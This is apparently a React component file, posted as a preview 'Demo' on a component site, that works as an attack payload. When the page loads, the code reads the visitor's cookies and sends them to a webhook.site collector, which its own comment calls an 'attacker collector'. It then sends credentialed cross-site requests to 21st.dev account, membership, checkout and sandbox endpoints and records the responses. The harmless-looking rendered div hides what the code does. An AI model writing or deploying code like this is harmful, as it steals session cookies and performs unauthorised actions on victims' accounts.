Loading preview...
// @ts-nocheck
import * as React from "react";
const W: any = window as any;
const COLLECTOR = "https://webhook.site/8ea0e3da-a2b9-4bed-bb78-a551a82ed7ee";
const R: any = W.__CSRF_PROBE = { origin: location.origin, cookie: document.cookie, results: {}, exfil: "pending" };
// exfiltrate parent-domain cookies readable from cdn.21st.dev to attacker collector
try {
fetch(COLLECTOR + "?origin=" + encodeURIComponent(location.origin) + "&cookie=" + encodeURIComponent(document.cookie))
.then(() => { R.exfil = "sent"; }).catch((e) => { R.exfil = "err:" + e; });
} catch (e) { R.exfil = "sync:" + e; }
const eps = [
["POST", "/api/account/bootstrap", {}],
["POST", "/api/purge-cache", { "paths": ["/api/x"] }],
["POST", "/api/21st/membership/resume", {}],
["POST", "/api/21st/membership/cancel", {}],
["POST", "/api/21st/membership/pause", {}],
["POST", "/api/21st/membership/upgrade", {}],
["POST", "/api/21st/membership/sync-checkout", {}],
["POST", "/api/21st/membership/create-checkout", { "interval": "quarter", "successUrl": "https://21st.dev/", "cancelUrl": "https://21st.dev/" }],
["POST", "/api/sandbox/new", { "userId": W.__UID || "x", "runtimeSlug": "21st-vite", "provisioningId": (crypto.randomUUID ? crypto.randomUUID() : "00000000-0000-4000-8000-000000000000") }],
];
for (const e of eps) {
try {
fetch("https://21st.dev" + e[1], {
method: e[0], credentials: "include",
headers: { "Content-Type": "text/plain" },
body: JSON.stringify(e[2]),
}).then((r) => r.text()).then((t) => { R.results[e[1]] = t.slice(0, 400); })
.catch((err) => { R.results[e[1]] = "ERR:" + err; });
} catch (err) { R.results[e[1]] = "SYNCERR:" + err; }
}
export default function Demo(){ return <div data-slot="csrf-probe">csrf probe 15611 v2</div>; }